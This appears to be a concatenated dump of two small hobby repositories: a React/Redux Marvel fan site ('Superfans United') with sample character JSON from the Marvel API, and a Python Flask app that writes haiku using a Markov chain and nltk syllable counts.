"http://gateway.marvel.com/v1/public/series/3722", "name": "Killraven (2002 - 2003)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2437", "name": "Killraven Premiere (2007)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/21675", "name": "Marvel Cinematic Universe Guidebook: The Avengers Initiative (2017)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/22327", "name": "Marvel Masterworks: The Incredible Hulk Vol. 11 (2017)" } ], "returned": 20 }, "stories": { "available": 63, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009146/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/4946", "name": "4 of 4 - 4XLS", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/5496", "name": "Irredeemable Ant-Man (2006) #1", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/12370", "name": "Cover #12370", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/12372", "name": "Whosoever Harms the Hulk..!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18419", "name": "[none]", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18420", "name": "The Stars Mine Enemy", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18488", "name": "<NAME> (1962) #171", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18489", "name": "Revenge", "type": "" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18534", "name": "<NAME> (1962) #194", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18535", "name": "The Day of the Locust!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18536", "name": "<NAME> (1962) #195", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18537", "name": "Warfare In Wonderland!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18538", "name": "<NAME> (1962) #196", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18539", "name": "The Abomination Proclamation!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18546", "name": "<NAME> (1962) #200", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18547", "name": "An Intruder In the Mind!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18776", "name": "Cover #18776", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18877", "name": "<NAME> (1962) #364", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18878", "name": "Countdown Part 4: The Abomination", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/18881", "name": "<NAME> (1962) #366", "type": "cover" } ], "returned": 20 }, "events": { "available": 1, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009146/events", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/events/296", "name": "Chaos War" } ], "returned": 1 }, "urls": [ { "type": "detail", "url": "http://marvel.com/comics/characters/1009146/abomination_emil_blonsky?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "wiki", "url": "http://marvel.com/universe/Abomination?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1009146/abomination_emil_blonsky?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1016823, "name": "Abomination (Ultimate)", "description": "", "modified": "2012-07-10T19:11:52-0400", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/b/40/image_not_available", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1016823", "comics": { "available": 2, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1016823/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40638", "name": "Hulk (2008) #50" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/15717", "name": "Ultimate X-Men (2000) #26" } ], "returned": 2 }, "series": { "available": 2, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1016823/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/3374", "name": "Hulk (2008 - 2012)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/474", "name": "Ultimate X-Men (2000 - 2009)" } ], "returned": 2 }, "stories": { "available": 3, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1016823/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/31883", "name": "Free Preview of THE INCREDIBLE HULK #50", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92098", "name": "Hulk (2008) #50", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92099", "name": "Interior #92099", "type": "interiorStory" } ], "returned": 3 }, "events": { "available": 0, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1016823/events", "items": [], "returned": 0 }, "urls": [ { "type": "detail", "url": "http://marvel.com/comics/characters/1016823/abomination_ultimate?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1016823/abomination_ultimate?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1009148, "name": "<NAME>", "description": "", "modified": "2013-10-24T14:32:08-0400", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/1/b0/5269678709fb7", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1009148", "comics": { "available": 91, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009148/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/43507", "name": "A+X (2012) #8" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/7045", "name": "Avengers (1963) #183" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/7046", "name": "Avengers (1963) #184" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/7142", "name": "Avengers (1963) #270" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/36481", "name": "Avengers Academy (2010) #16" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/36480", "name": "Avengers Academy (2010) #17" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/36479", "name": "Avengers Academy (2010) #18" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/36484", "name": "Avengers Academy (2010) #19" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/17776", "name": "Avengers Annual (1967) #20" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/63662", "name": "Black Bolt (2017) #3" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/64278", "name": "Black Bolt (2017) #4" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/66533", "name": "Black Bolt (2017) #11" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/65327", "name": "Black Bolt Vol. 1: Hard Time (Trade Paperback)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/12783", "name": "Captain America (1998) #24" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/20427", "name": "Dazzler (1981) #18" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/20428", "name": "Dazzler (1981) #19" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/8499", "name": "Deadpool (1997) #43" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/15541", "name": "Fantastic Four (1998) #22" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/13151", "name": "Fantastic Four (1961) #330" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/41433", "name": "Fear Itself (2010) #2 (3rd Printing Variant)" } ], "returned": 20 }, "series": { "available": 47, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009148/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/16450", "name": "A+X (2012 - 2014)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1991", "name": "Avengers (1963 - 1996)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/9086", "name": "Avengers Academy (2010 - 2012)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1988", "name": "Avengers Annual (1967 - 1994)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/23121", "name": "Black Bolt (2017 - 2018)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/23778", "name": "Black Bolt Vol. 1: Hard Time (2017)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1997", "name": "Captain America (1998 - 2002)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/3745", "name": "Dazzler (1981 - 1986)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2005", "name": "Deadpool (1997 - 2002)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/421", "name": "Fantastic Four (1998 - 2012)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2121", "name": "Fantastic Four (1961 - 1998)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/13691", "name": "Fear Itself (2010 - 2011)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/13857", "name": "Fear Itself: Fellowship of Fear (2011)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/13827", "name": "Fear Itself: The Worthy (2011)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/20084", "name": "Heroes for Hire (1997 - 1999)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/465", "name": "Hulk (1999 - 2008)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/20552", "name": "Illuminati (2015 - 2016)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/24278", "name": "Immortal Hulk (2018 - Present)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/24891", "name": "Immortal Hulk Vol. 2: The Green Door (2019)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2021", "name": "Incredible Hulk (1962 - 1999)" } ], "returned": 20 }, "stories": { "available": 104, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009148/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/4988", "name": "1 of 1", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/7866", "name": "Punisher War Journal (2006) #4", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/10997", "name": "Journey Into Mystery (1952) #114", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/10998", "name": "The Stronger I Am, the Sooner I Die", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11000", "name": "Journey Into Mystery (1952) #115", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11001", "name": "The Vengeance of the Thunder God", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11022", "name": "Journey Into Mystery (1952) #120", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11023", "name": "With My Hammer In Hand", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11025", "name": "Journey Into Mystery (1952) #121", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11026", "name": "The Power! The Passion! The Pride!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11028", "name": "Journey Into Mystery (1952) #122", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11029", "name": "Where Mortals Fear To Tread!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11031", "name": "Journey Into Mystery (1952) #123", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11032", "name": "While a Universe Trembles", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/12951", "name": "Fantastic Four (1961) #330", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/12952", "name": "Good Dreams!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/14628", "name": "Avengers (1963) #183", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/14630", "name": "Avengers (1963) #184", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/14823", "name": "Avengers (1963) #270", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/16688", "name": "Thor (1966) #206", "type": "cover" } ], "returned": 20 }, "events": { "available": 4, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009148/events", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/events/238", "name": "Civil War" }, { "resourceURI": "http://gateway.marvel.com/v1/public/events/302", "name": "Fear Itself" }, { "resourceURI": "http://gateway.marvel.com/v1/public/events/270", "name": "Secret Wars" }, { "resourceURI": "http://gateway.marvel.com/v1/public/events/273", "name": "Siege" } ], "returned": 4 }, "urls": [ { "type": "detail", "url": "http://marvel.com/characters/84/absorbing_man?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "wiki", "url": "http://marvel.com/universe/Absorbing_Man?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1009148/absorbing_man?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1009149, "name": "Abyss", "description": "", "modified": "2014-04-29T14:10:43-0400", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/9/30/535feab462a64", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1009149", "comics": { "available": 8, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009149/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/13943", "name": "Uncanny X-Men (1963) #402" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/13945", "name": "Uncanny X-Men (1963) #404" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/13946", "name": "Uncanny X-Men (1963) #405" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/13947", "name": "Uncanny X-Men (1963) #406" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/13970", "name": "Uncanny X-Men (1963) #429" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/13972", "name": "Uncanny X-Men (1963) #431" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/12386", "name": "X-Men: Alpha (1995) #1" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/2539", "name": "X-Men: The Complete Age of Apocalypse Epic Book 2 (Trade Paperback)" } ], "returned": 8 }, "series": { "available": 3, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009149/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/2258", "name": "Uncanny X-Men (1963 - 2011)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2104", "name": "X-Men: Alpha (1995)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1583", "name": "X-Men: The Complete Age of Apocalypse Epic Book 2 (2005)" } ], "returned": 3 }, "stories": { "available": 8, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009149/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/26281", "name": "A Beginning", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/28352", "name": "Utility of Myth", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/28356", "name": "<NAME>", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/28358", "name": "<NAME>", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/28360", "name": "Staring Contests are for Suckers", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/28407", "name": "The Draco Part One: Sins of the Father", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/28411", "name": "The Draco Part Three", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/28413", "name": "The Draco Part Four", "type": "interiorStory" } ], "returned": 8 }, "events": { "available": 1, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009149/events", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/events/227", "name": "Age of Apocalypse" } ], "returned": 1 }, "urls": [ { "type": "detail", "url": "http://marvel.com/characters/85/abyss?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "wiki", "url": "http://marvel.com/universe/Abyss_(alien)?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1009149/abyss?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1010903, "name": "Abyss (Age of Apocalypse)", "description": "", "modified": "1969-12-31T19:00:00-0500", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/3/80/4c00358ec7548", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1010903", "comics": { "available": 3, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1010903/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/18099", "name": "Weapon X (1995) #1" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/12386", "name": "X-Men: Alpha (1995) #1" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/2539", "name": "X-Men: The Complete Age of Apocalypse Epic Book 2 (Trade Paperback)" } ], "returned": 3 }, "series": { "available": 3, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1010903/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/3635", "name": "Weapon X (1995)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2104", "name": "X-Men: Alpha (1995)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1583", "name": "X-Men: The Complete Age of Apocalypse Epic Book 2 (2005)" } ], "returned": 3 }, "stories": { "available": 2, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1010903/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/26280", "name": "X-Men: Alpha (1994) #1", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/38448", "name": "X-Facts", "type": "" } ], "returned": 2 }, "events": { "available": 1, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1010903/events", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/events/227", "name": "Age of Apocalypse" } ], "returned": 1 }, "urls": [ { "type": "detail", "url": "http://marvel.com/characters/85/abyss?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "wiki", "url": "http://marvel.com/universe/Abyss_(Age_of_Apocalypse)?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1010903/abyss_age_of_apocalypse?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1011266, "name": "<NAME>", "description": "", "modified": "1969-12-31T19:00:00-0500", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/b/40/image_not_available", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1011266", "comics": { "available": 0, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1011266/comics", "items": [], "returned": 0 }, "series": { "available": 0, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1011266/series", "items": [], "returned": 0 }, "stories": { "available": 0, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1011266/stories", "items": [], "returned": 0 }, "events": { "available": 0, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1011266/events", "items": [], "returned": 0 }, "urls": [ { "type": "detail", "url": "http://marvel.com/characters/2902/adam_destine?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "wiki", "url": "http://marvel.com/universe/Destine,_Adam?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1011266/adam_destine?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] } ] } } export default characters<file_sep>/TODOS.md 1. Header/Navbar Component 2. HomePage component 3. action for saving a character to db (update create action) 3.1. add index action 4. complete action for added comments and votes (backend will need character id to update. then update single character in global state with api return) 4.1 add update actions to chars controller 5. footer 6. styling! (bootstrap, semanticUI, etc. Use a grid system for displaying cards instead of a ul>li list) 7. clean up API - add validations, authorization, etc 8. seed db with some additional users <file_sep>/src/containers/CharactersContainer.js import React from "react"; import { connect } from "react-redux"; import { fetchCharacters } from "../actions/fetchCharacters"; import { fetchUserCharacters } from "../actions/fetchUserCharacters"; import { addCommentOrVote } from "../actions/addCommentOrVote"; import { getCurrentUser } from "../actions/currentUser"; import Characters from "../components/Characters"; class CharactersContainer extends React.Component { componentDidMount() { if (this.props.location.pathname === "/characters") { this.props.fetchCharacters(); } else { this.props.getCurrentUser(); this.props.fetchUserCharacters(); } } handleVote = (character, type) => { const vote = type === "upvote" ? { votes: 1 } : { votes: -1 }; this.props.addCommentOrVote(character, vote); }; addComment = (character, comment) => { this.props.addCommentOrVote(character, { comments: comment, }); }; render() { let characters = this.props.characters; return ( <div class="character-container"> {characters && ( <Characters characters={characters} handleVote={this.handleVote} addComment={this.addComment} /> )} </div> ); } } const mapStateToProps = (state) => { return { characters: state.characterReducer.characters, }; }; export default connect(mapStateToProps, { fetchCharacters, addCommentOrVote, fetchUserCharacters, getCurrentUser, })(CharactersContainer); <file_sep>/src/actions/saveCharacter.js export function saveCharacter(character) { return (dispatch) => { fetch("http://localhost:3001/api/v1/characters", { headers: { "Content-Type": "application/json", }, method: "POST", body: JSON.stringify({ character }), }) .then((respose) => respose.json()) .then((character) => dispatch({ type: "SAVE_CHARACTER", payload: character, }) ); }; } <file_sep>/src/components/NoResult.js import React from "react"; import Alert from "react-bootstrap/Alert"; export default function NoResult() { return ( <Alert variant="info"> <p> Sorry ! Your search have returned no results !! </p> <p> Please try again !!</p> </Alert> ); } <file_sep>/README.md # Superfans United A web application where fans of marvel comics can meet. This application uses marvel api with Rails as backend and React and Redux as a frontend ### Usage This web application allows a user to save their favourite marvel character card. A user can save the character, upVote or downVote a character and can comment on any character. User can also see character that other users have saved, commented, or voted on. ### Backend Installation Go to your favorite console and then clone the project: ``` $ git clone https://github.com/ashok997/superfans-united-backend.git ``` And go into the project direcotry: ``` $ cd superfans-united-backend ``` then execute: ``` $ bundle install $ rails db:migrate $ rails s ``` ### Frontend Installation To clone the backend open another console and type: ``` $ git clone https://github.com/ashok997/superfans-united-frontend.git ``` And go into the project direcotry: ``` $ cd superfans-united-frontend ``` then execute: ``` $ npm install $ npm start ``` ### Usage License The project is available as open source under the terms of the MIT License. Code of Conduct Everyone interacting in the ActivationTracker project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the code of conduct. <file_sep>/src/components/Characters.js import React from "react"; import Card from "react-bootstrap/card"; import CardColumns from "react-bootstrap/CardColumns"; import CharacterCard from "./CharacterCard"; import CharacterForm from "./CharacterForm"; import CharacterSave from "./CharacterSave"; const Characters = props => { const characterCards = props.characters.length > 0 && props.characters.map(character => ( <Card border="danger" bg="light" style={{ width: "20rem" }}> <Card.Body> <CharacterCard character={character} key={character.id} /> {character.created_at ? ( <CharacterForm character={character} handleVote={props.handleVote} addComment={props.addComment} key={character.id + "-form"} /> ) : ( <CharacterSave character={character} saveCharacter={props.saveCharacter} key={character.id + "-save"} /> )} </Card.Body> </Card> )); return <CardColumns>{characterCards}</CardColumns>; }; export default Characters; <file_sep>/src/components/LoginForm.js import React from "react"; import Form from "react-bootstrap/Form"; import Button from "react-bootstrap/Button"; import { login } from "../actions/currentUser"; import { connect } from "react-redux"; class LoginForm extends React.Component { state = { username: "", password: "", }; onChange = (event) => { this.setState({ [event.target.name]: event.target.value, }); }; onSubmit = (event) => { event.preventDefault(); this.props.login(this.state); this.props.history.push("/"); this.setState({ username: "", password: "", }); }; render() { return ( <Form onSubmit={this.onSubmit}> <Form.Label> Username: </Form.Label> <Form.Control type="text" name="username" value={this.state.username} onChange={this.onChange} placeholder="username" /> <Form.Label> Password: </Form.Label> <Form.Control type="text" name="password" value={this.<PASSWORD>.password} onChange={this.onChange} placeholder="<PASSWORD>" /> <Button variant="primary" type="submit"> Submit </Button> </Form> ); } } export default connect(null, { login })(LoginForm);
e469aa06d4a8e2ceeced7fa87284d2cb819eeabd
[ "JavaScript", "Markdown" ]
12
JavaScript
ashok997/superfans-united-frontend
fcf6e1967acbb106e634cfda447bd5cd0bf9ac56
88b636f2a92e6b6ab64e761d3aae601dddd00e71
refs/heads/master
<repo_name>MBronars/hw4-group<file_sep>/visual-feedback.js var freqA = 174; var freqS = 196; var freqD = 220; var freqF = 246; var playingA, playingS, playingD, playingF; var oscA, oscS, oscD, oscF; var playing = false; function setup() { createCanvas(500,500); backgroundColor = color(255, 0, 255); textAlign(CENTER); oscA = new p5.Oscillator(); oscA.setType('triangle'); oscA.freq(freqA); oscA.amp(0); oscA.start(); oscS = new p5.Oscillator(); oscS.setType('triangle'); oscS.freq(freqS); oscS.amp(0); oscS.start(); oscD = new p5.Oscillator(); oscD.setType('triangle'); oscD.freq(freqD); oscD.amp(0); oscD.start(); oscF = new p5.Oscillator(); oscF.setType('triangle'); oscF.freq(freqF); oscF.amp(0); oscF.start(); } function draw() { background(backgroundColor) text('click here,\nthen press A/S/D/F\n keys to play', width/2, height/2.25); if (playingA) { text('Playing A', width/2,height/4); rect(0,0,random(width),random(height)); //draws rectangle of random size in top left corner } else if (playingS) { text('Playing S', width/2,height/4); line(width,0,random(width),random(height)); //draws lines of random lengths and endpoints in top right corner } else if (playingD) { text('Playing D', width/2,height/4); ellipse(0,height,random(width*2),random(height*2)); //draws ellipses of random radius' in bottom left corner } else if (playingF) { text('Playing F',width/2, height/4); triangle(random(width),random(height),random(width), random(height),random(width),random(height)); //draws triangles of random sizes in random locations } } function keyPressed() { print("got key press for ", key); var osc; if (key == 'A') { playingA = true; osc = oscA; backgroundColor = color(25, 208, 31); } else if (key == 'S') { playingS = true; osc = oscS; backgroundColor = color(91, 117, 247); } else if (key == 'D') { playingD = true; osc = oscD; backgroundColor = color(255, 219, 132); } else if (key == 'F') { playingF = true; osc = oscF; backgroundColor = color(250, 255, 162); } if (osc) { osc.amp(0.5, 0.1); playing = true; //backgroundColor = color(0, 255, 255); } } function keyReleased() { print("got key release for ", key); var osc; if (key == 'A') { playingA = false; osc = oscA; } else if (key == 'S') { playingS = false; osc = oscS; } else if (key == 'D') { playingD = false; osc = oscD; } else if (key == 'F') { playingF = false; osc = oscF; } if (osc) { osc.amp(0, 0.5); playing = false; backgroundColor = color(255, 0, 255); } }
2eb92a7195586e24c4a66449a9704491866e064c
[ "JavaScript" ]
1
JavaScript
MBronars/hw4-group
364a91d51a186dc3cfded5bf934a91cfeda4e34e
8edb874d25105d158ce82151cb4f7faa0136ca14
refs/heads/master
<file_sep>from flask import render_template import requests import random import nltk from nltk.corpus import cmudict import re import itertools HAIKU = (5, 7, 5) SYLL_DICT = cmudict.dict() def generate_text(chain, syllables, current): # If theres only one choice, choose it if len(chain[current]) == 1: out = chain[current][0] # Otherwise, randomly pick a next word else: choice = random.randint(0, len(chain[current]) - 1) out = chain[current][choice] # Count syllables with nltk currentSyllables = 0 if out in SYLL_DICT: # Use the CMU dict's syllable count if possible currentSyllables = len([x for x in SYLL_DICT[out][0] if re.match("\d",x[-1])]) else: # Or use this BS syllable count method. currentSyllables = len(re.findall(r"[aeiou]+", out)) if currentSyllables == 0: currentSyllables = 1 # If there are more syllables remaining if syllables - currentSyllables > 0: next_word = None tries = 0 # Try 5 times to get a next word that doesn't exceed the syllable count recursively while next_word is None and tries < 5: next_word = generate_text(chain, syllables - currentSyllables, out) tries += 1 # If that doesn't work, go back one step recursively and try that while loop. if next_word is None: return None # If everything did work, return and recurse back return out + " " + next_word # If there are too many syllables, return None and recurse back. See previous code block for that mechanism if syllables - currentSyllables < 0: return None # If all is well, return else: return out def haiku(text_file): # Open text data and remove commas with open(text_file) as f: text = re.findall(r"[\w']+", f.read()) # Create the Markov Chain chain = {} for i in range(0, len(text)-1): if text[i] in chain: chain[text[i]].append(text[i+1]) else: chain[text[i]] = [text[i+1]] # Choose generator word. This is not printed poem = [text[random.randint(0, len(text))]] # Write the Haiku using generate_text() for syl in HAIKU: line = None while line is None: line = generate_text(chain, syl, poem[-1].split()[-1]) poem.append(line) # Print the Completed Haiku output = "" for line in poem[1:]: output += line.capitalize() + "<br>" return render_template('HaikuTemplate.html', output=output) <file_sep>LiteraryHaiku ============= What would a Shakespearean Haiku sound like? Technology (kinda) has the answer.
df20925c3d131a7ebef4971104d23490a9541ad7
[ "Markdown", "Python" ]
2
Python
AnshSancheti/LiteraryHaiku
d1a85664ff606c2539bfeb4202b34a67a941ca1d
6ca583e5e0a82d0f2aeab625c8335d123e0ec9c7
refs/heads/master
